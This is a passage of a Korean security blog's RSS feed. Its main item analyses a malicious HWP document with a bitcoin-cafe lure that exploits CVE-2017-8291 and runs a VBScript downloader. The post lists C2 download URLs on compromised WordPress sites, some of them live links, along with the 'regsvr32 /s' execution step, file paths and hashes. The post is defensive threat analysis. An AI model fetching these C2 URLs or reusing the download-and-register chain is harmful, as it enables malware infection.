/&gt;[1]&amp;nbsp;&lt;a href=&quot;https://suspected.tistory.com/274&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://suspected.tistory.com/274&lt;/a&gt;&lt;/p&gt;</description>
      <category>리버싱/윈도우 악성코드 분석</category>
      <category>Flybits</category>
      <category>HWP</category>
      <category>비트코인</category>
      <category>한글악성코드</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/275</guid>
      <comments>https://suspected.tistory.com/275#entry275comment</comments>
      <pubDate>Wed, 29 Apr 2020 20:38:45 +0900</pubDate>
    </item>
    <item>
      <title>악성코드 분석(&amp;quot;[조회]비트코인 투자 카페 강퇴&amp;amp;활동정지&amp;quot; 악성 한글문서)</title>
      <link>https://suspected.tistory.com/274</link>
      <description>&lt;p&gt;&lt;i&gt;&lt;b&gt;[개요]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;[1][2] 이전 게시물에서 분석한 내용과 유사한 공격이 지속적으로 발생하고 있습니다. 이번 공격에는 &quot;[조회]비트코인 투자 카페 강퇴&amp;amp;활동정지&quot;라는 내용의 한글문서가 유포됐습니다. (Figure 1) 비트코인 가격이 최근 상승[3]하는 것으로 보아 비트코인 관련 미끼 문서로 스피어피싱 공격이 이루어지는 것으로 추정되어 관계자 및 개인들의 주의가 필요할 것으로 보입니다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;13.JPG&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;531&quot; width=&quot;557&quot; height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OsLlj/btqDNmyz6i7/FOG9LWgjROl3EOMfXKZ8DK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OsLlj/btqDNmyz6i7/FOG9LWgjROl3EOMfXKZ8DK/img.jpg&quot; data-alt=&quot;(Figure 1) 최근 상승하는 비트코인 차트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OsLlj/btqDNmyz6i7/FOG9LWgjROl3EOMfXKZ8DK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOsLlj%2FbtqDNmyz6i7%2FFOG9LWgjROl3EOMfXKZ8DK%2Fimg.jpg&quot; data-filename=&quot;13.JPG&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;531&quot; width=&quot;557&quot; height=&quot;302&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 1) 최근 상승하는 비트코인 차트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 2) Virustotal에서 해쉬값을 조회한 결과 3개의 국내 백신(V3, Alyac, Virobot)에서 탐지한 것으로 확인됐습니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.JPG&quot; data-origin-width=&quot;1145&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/roz3v/btqDOllQlY0/x7dhg5dKVnPNfYdb8CD4hK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/roz3v/btqDOllQlY0/x7dhg5dKVnPNfYdb8CD4hK/img.jpg&quot; data-alt=&quot;(Figure 2) 탐지된 Virustotal&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/roz3v/btqDOllQlY0/x7dhg5dKVnPNfYdb8CD4hK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Froz3v%2FbtqDOllQlY0%2Fx7dhg5dKVnPNfYdb8CD4hK%2Fimg.jpg&quot; data-filename=&quot;1.JPG&quot; data-origin-width=&quot;1145&quot; data-origin-height=&quot;452&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 2) 탐지된 Virustotal&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;유포된 한글문서의 내용(Figure 3)에는 비트코인 투자카페 신고관련 내용이 존재합니다. 해당 카페가 존재하는지 확인한 결과 (Figure 4) 실제로 운영되는 카페인 것으로 확인됐습니다. 카페에는 암호화폐 투자에 대한 커뮤니티로 4.29 기준 153,403명의 회원이 있을 정도로 회원들에게 스피어피싱 메일을 보냈을 것으로 추정됩니다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;0.JPG&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;668&quot; width=&quot;499&quot; height=&quot;504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFRySv/btqDMi4pdKz/PRg4sTON9MmrKXDdqq9g91/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFRySv/btqDMi4pdKz/PRg4sTON9MmrKXDdqq9g91/img.jpg&quot; data-alt=&quot;(Figure 3) 유포된 한글문서 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFRySv/btqDMi4pdKz/PRg4sTON9MmrKXDdqq9g91/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFRySv%2FbtqDMi4pdKz%2FPRg4sTON9MmrKXDdqq9g91%2Fimg.jpg&quot; data-filename=&quot;0.JPG&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;668&quot; width=&quot;499&quot; height=&quot;504&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 3) 유포된 한글문서 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;567&quot; height=&quot;487&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;933&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eJ1xPa/btqDPZoyhoV/ic3R5sCpdQskgSx0kYbFkk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eJ1xPa/btqDPZoyhoV/ic3R5sCpdQskgSx0kYbFkk/img.jpg&quot; data-alt=&quot;(Figure 4) 실제 운영되는 네이버 카페(비트코인투자카페)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eJ1xPa/btqDPZoyhoV/ic3R5sCpdQskgSx0kYbFkk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeJ1xPa%2FbtqDPZoyhoV%2Fic3R5sCpdQskgSx0kYbFkk%2Fimg.jpg&quot; width=&quot;567&quot; height=&quot;487&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;933&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 4) 실제 운영되는 네이버 카페(비트코인투자카페)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Hash값 채증]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;(Figure 5)는 순서대로 유포된 악성 한글 문서, PostScript, 은닉된 shellcode 순으로 이루어집니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9JZXk/btqDQcBcB4y/GZX7Gz4Z1QbgrJJcd2iOT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9JZXk/btqDQcBcB4y/GZX7Gz4Z1QbgrJJcd2iOT1/img.png&quot; data-alt=&quot;(Figure 5) 채증된 해시값&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9JZXk/btqDQcBcB4y/GZX7Gz4Z1QbgrJJcd2iOT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9JZXk%2FbtqDQcBcB4y%2FGZX7Gz4Z1QbgrJJcd2iOT1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 5) 채증된 해시값&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[악성 문서파일(HWP) 및 쉘코드 분석]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;(Figure 6) 한글 속성정보를 확인한 결과, 마지막 작성된 시각은 2020년 4월 29일 1시 28분경에 작성된 것으로 확인됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.JPG&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;283&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yZltu/btqDNnqGlz8/cIpkYcGXJhlxGO3awMV770/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yZltu/btqDNnqGlz8/cIpkYcGXJhlxGO3awMV770/img.jpg&quot; data-alt=&quot;(Figure 6) 한글문서 속성정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yZltu/btqDNnqGlz8/cIpkYcGXJhlxGO3awMV770/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyZltu%2FbtqDNnqGlz8%2FcIpkYcGXJhlxGO3awMV770%2Fimg.jpg&quot; data-filename=&quot;2.JPG&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;283&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 6) 한글문서 속성정보&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 7) 이전 게시물[1][2]과 동일한 패턴의 취약점(CVE-2017-8291)을 사용했으며, 변수명만 다른 것으로 확인됐습니다. 또한, VBScript를 동일하게 쉘코드 내부에서 실행하며, 몇 가지 부분만 달라졌습니다. VBScript 코드 차이점은 아래에서 확인해보도록 하겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;15.JPG&quot; data-origin-width=&quot;1109&quot; data-origin-height=&quot;759&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1LPkM/btqDMknFlyk/wk8dyAjX5v9W89fwvAGgsK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1LPkM/btqDMknFlyk/wk8dyAjX5v9W89fwvAGgsK/img.jpg&quot; data-alt=&quot;(Figure 7) 한글문서 내 PostScript 및 쉘코드 텍스트 변환&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1LPkM/btqDMknFlyk/wk8dyAjX5v9W89fwvAGgsK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1LPkM%2FbtqDMknFlyk%2Fwk8dyAjX5v9W89fwvAGgsK%2Fimg.jpg&quot; data-filename=&quot;15.JPG&quot; data-origin-width=&quot;1109&quot; data-origin-height=&quot;759&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 7) 한글문서 내 PostScript 및 쉘코드 텍스트 변환&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 8) 쉘코드도 아래와 같은 방식으로 이전과 100% 동일합니다. (이전 게시물과 중복)&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;1.&amp;nbsp;GetProcAddress를&amp;nbsp;이용해&amp;nbsp;LoadLibrary&amp;nbsp;API&amp;nbsp;함수&amp;nbsp;호출&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;2.&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;msvcrt.dll&quot;&gt;msvcrt.dll&lt;/a&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;호출&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3.&amp;nbsp;GetProcAddress를&amp;nbsp;이용해&amp;nbsp;system&amp;nbsp;API&amp;nbsp;함수&amp;nbsp;호출&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;4. system API 호출을 통해 VBScript 코드 호출&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CEvqg/btqDOkNXQQS/kHOkElQVNIKojgIUleCQ4K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CEvqg/btqDOkNXQQS/kHOkElQVNIKojgIUleCQ4K/img.jpg&quot; data-alt=&quot;(Figure 8) 쉘코드 분석 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CEvqg/btqDOkNXQQS/kHOkElQVNIKojgIUleCQ4K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCEvqg%2FbtqDOkNXQQS%2FkHOkElQVNIKojgIUleCQ4K%2Fimg.jpg&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;375&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 8) 쉘코드 분석 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;(Figure 9) ~ (Figure 10)는 이전 공격[1][2]과 현재 공격을 비교하여 재표현한 코드입니다. &lt;br /&gt;(Figure 9)에서는 Base64Decode, BinaryToString 함수가 기존과 동일하며, 처음 진입할 때 temp 경로가 아닌 Internet Explorer 경로라는 것이 다릅니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;9.JPG&quot; data-origin-width=&quot;1263&quot; data-origin-height=&quot;698&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brxZeL/btqDL37txOz/p2v2z82y6vItUaj1JSniUK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brxZeL/btqDL37txOz/p2v2z82y6vItUaj1JSniUK/img.jpg&quot; data-alt=&quot;(Figure 9) 이전 공격과 VBScript 비교(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brxZeL/btqDL37txOz/p2v2z82y6vItUaj1JSniUK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrxZeL%2FbtqDL37txOz%2Fp2v2z82y6vItUaj1JSniUK%2Fimg.jpg&quot; data-filename=&quot;9.JPG&quot; data-origin-width=&quot;1263&quot; data-origin-height=&quot;698&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 9) 이전 공격과 VBScript 비교(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;(Figure 10)에서 수행하는 공격을 요약하면 아래와 같습니다. (이전 게시물과 내용이 일부 동일)&lt;/span&gt;&lt;br /&gt;1. 인터넷 연결을 위한 Microsoft.XMLHTTP, 윈도우 기능을 사용하기 위한 WScript.Shell 객체를 생성&lt;br /&gt;2. OS 환경을 체크하고 64비트가 아니면 종료&lt;br /&gt;3. xURLS 변수에 아래 C2 정보에 GET 메소드를 통해 리소스를 요청 시도 (category.php 파일의 파라미터 uid 값이 0이면 32bit, 1이면 64bit로 동작됨)&lt;br /&gt;(C2-1) &lt;span style=&quot;color: #333333;&quot;&gt;https://matteoragazzini[.]it/wp-content/uploads/2017/06/&lt;/span&gt;&lt;a href=&quot;category.php?uid=1&amp;amp;udx=cbedf01fa62a94219e70dae13d3dc984&quot;&gt;category.php?&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;uid=0&lt;/span&gt;&lt;/b&gt;&amp;amp;udx=&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;cbedf01fa62a94219e70dae13d3dc984&lt;/b&gt;&lt;/span&gt;&lt;/a&gt; &lt;b&gt;(단절은 아니지만 파일이 비어있음, MD5로 추정되는 값은 VT에 업로드되지는 않음)&lt;/b&gt;&lt;br /&gt;(C2-2) &lt;span style=&quot;color: #333333;&quot;&gt;https://matteoragazzini[.]it/wp-content/uploads/2017/06/&lt;/span&gt;&lt;a href=&quot;category.php?uid=1&amp;amp;udx=cbedf01fa62a94219e70dae13d3dc984&quot;&gt;category.php?&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;uid=1&lt;/b&gt;&lt;/span&gt;&amp;amp;udx=&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;cbedf01fa62a94219e70dae13d3dc984&lt;/b&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt; (상동)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;4. 3번에서 리소스를 받아왔다면, Base64Decode 함수에 받은 HEX 데이터를 BinaryToString 함수로 String 형태로 변환한 뒤 Base64 디코딩 수행 (여기서 알 수 있는 점은 받는 리소스는 Base64 인코딩된 HEX형 데이터일 가능성 농후)&lt;br /&gt;5. 디코딩된 데이터를 %appdata%\Microsoft\Internet Explorer 경로의 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ieframe.html&lt;/b&gt;&lt;/span&gt; 파일명으로 저장 후 &quot;regsvr32 /s ieframe.html&quot; 명령어 실행 (regsvr32는 &lt;span&gt;DLL 및 ActiveX 컨트롤을 등록하기위한 파일입니다)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;11.JPG&quot; data-origin-width=&quot;1382&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kSRHk/btqDNm6mMqr/aVToldx1uRPeB9fn9HCiqK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kSRHk/btqDNm6mMqr/aVToldx1uRPeB9fn9HCiqK/img.jpg&quot; data-alt=&quot;(Figure 10) 이전 공격과 VBScript 비교(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kSRHk/btqDNm6mMqr/aVToldx1uRPeB9fn9HCiqK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkSRHk%2FbtqDNm6mMqr%2FaVToldx1uRPeB9fn9HCiqK%2Fimg.jpg&quot; data-filename=&quot;11.JPG&quot; data-origin-width=&quot;1382&quot; data-origin-height=&quot;676&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(Figure 10) 이전 공격과 VBScript 비교(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;[결론]&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;본 게시물에서는 &lt;span style=&quot;color: #333333;&quot;&gt;비트코인 투자 카페 관련 내용을&lt;/span&gt; 미끼문서로 만든 악성 한글문서를 분석했습니다. 추가 유포파일을 채증하지 못해 추가적인 분석은 수행하지 못했지만, 해당 게시물에서 알 수 있는 점은 한글 취약점(CVE-2017-8291)을 이용했고, 최종적으로는 쉘코드 내부 VBScript를 이용해 C2 주소에서 추가 유포파일을 다운로드 시도하는 다운로더(Downloader)였습니다. 또한, 이전 게시물[1][2]과 다운로드 시도하는 과정까지의 TTP가 매우 유사했습니다. PostScript 취약점을 이용한 방법은 과거부터 지속적으로 사용되는 공격자들의 기법으로, 앞으로도 이를 이용한 공격이 언제까지 지속될지 궁금합니다.&lt;br /&gt;&lt;br /&gt;추가적으로, 작성한 글[1][2]의&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt; 분석 내용과 유사한 점은 아래와 같습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;※ TTP가 유사&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; 스피어피싱을 이용해 한글문서를 유포 및 2차 악성코드 다운로드 시도&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;유포지로 사용한 C2 주소를 취약한 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;워드프레스 사이트&lt;/b&gt;&lt;/span&gt;로 사용&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt; PostScript, 쉘코드, VBScript 코드 내용이 매우 유사&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;s&gt;유포파일을 %temp% 경로에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;/span&gt;&lt;s&gt;svchost.exe를 다운로드 후 실행&lt;/s&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;※&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;달라진 점&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;[1]&lt;/span&gt;이전에는 Powershell을 이용해 C2에 접속했지만, 이번 공격은 VBScript만을 이용&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt; VBScript 코드에서 유포파일을 %temp% 경로가 아닌 &lt;span style=&quot;color: #333333;&quot;&gt;%appdata%\Microsoft\Internet Explorer 경로에 html 형태의 파일로 저장 후 &lt;span style=&quot;color: #333333;&quot;&gt;regsvr32로 등록 ([1][2]이전에는 svchost.exe로 다운로드하고 실행)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[IOC]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;-&amp;nbsp;&lt;a href=&quot;http://newtocanada.com/wp-content/uploads/mk_logs/bulletin-deliever/mailchimp.php?uid=0&amp;amp;udx=b4244415055b89e24abf61f29672235b&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://newtocanada.com/wp-content/uploads/mk_logs/bulletin-deliever/mailchimp.php?uid=0&amp;amp;udx=b4244415055b89e24abf61f29672235b&lt;/a&gt; &lt;br /&gt;-&amp;nbsp;&lt;a href=&quot;http://newtocanada.com/wp-content/uploads/mk_logs/bulletin-deliever/mailchimp.php?uid=1&amp;amp;udx=b4244415055b89e24abf61f29672235b&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://newtocanada.com/wp-content/uploads/mk_logs/bulletin-deliever/mailchimp.php?uid=1&amp;amp;udx=b4244415055b89e24abf61f29672235b&lt;/a&gt; &lt;br /&gt;-&amp;nbsp;b746127fa6e7a2d75bf46ce5a31b50e7f82b665b87e4668ebfc79a65bc7029c5 &lt;br /&gt;-&amp;nbsp;b0da0630abcd4c5173f8a5da52f13f61969b6c94931d9653b7cb7a7050bdf4ba &lt;br /&gt;-&amp;nbsp;113d0da9e29dee7ec23d478b73d336e0082212d5c31a4e8af71955f116f5ce02 &lt;br /&gt;-&amp;nbsp;2800978c413eea8b05a58462bf8babcb99c75ab6ee2abc24fd054e7f22c73222&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Reference]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;[1]&amp;nbsp;&lt;a href=&quot;https://suspected.tistory.com/269&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://suspected.tistory.com/269&lt;/a&gt; &lt;br /&gt;[2]&amp;nbsp;&lt;a href=&quot;https://suspected.tistory.com/273&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://suspected.tistory.com/273&lt;/a&gt; &lt;br /&gt;[3]&amp;nbsp;&lt;a href=&quot;https://upbit.com/exchange?code=CRIX.UPBIT.KRW-BTC&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://upbit.com/exchange?code=CRIX.UPBIT.KRW-BTC&lt;/a&gt;&lt;/p&gt;</description>
      <category>리버싱/윈도우 악성코드 분석</category>
      <category>비트코인</category>
      <category>스피어피싱</category>
      <category>한글악성코드</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/274</guid>
      <comments>https://suspected.tistory.com/274#entry274comment</comments>
      <pubDate>Wed, 29 Apr 2020 19:16:04 +0900</pubDate>
    </item>
    <item>
      <title>악성코드 분석(2020 상반기 한국수력원자력 채용공고 사칭 악성 한글문서)</title>
      <link>https://suspected.tistory.com/273</link>
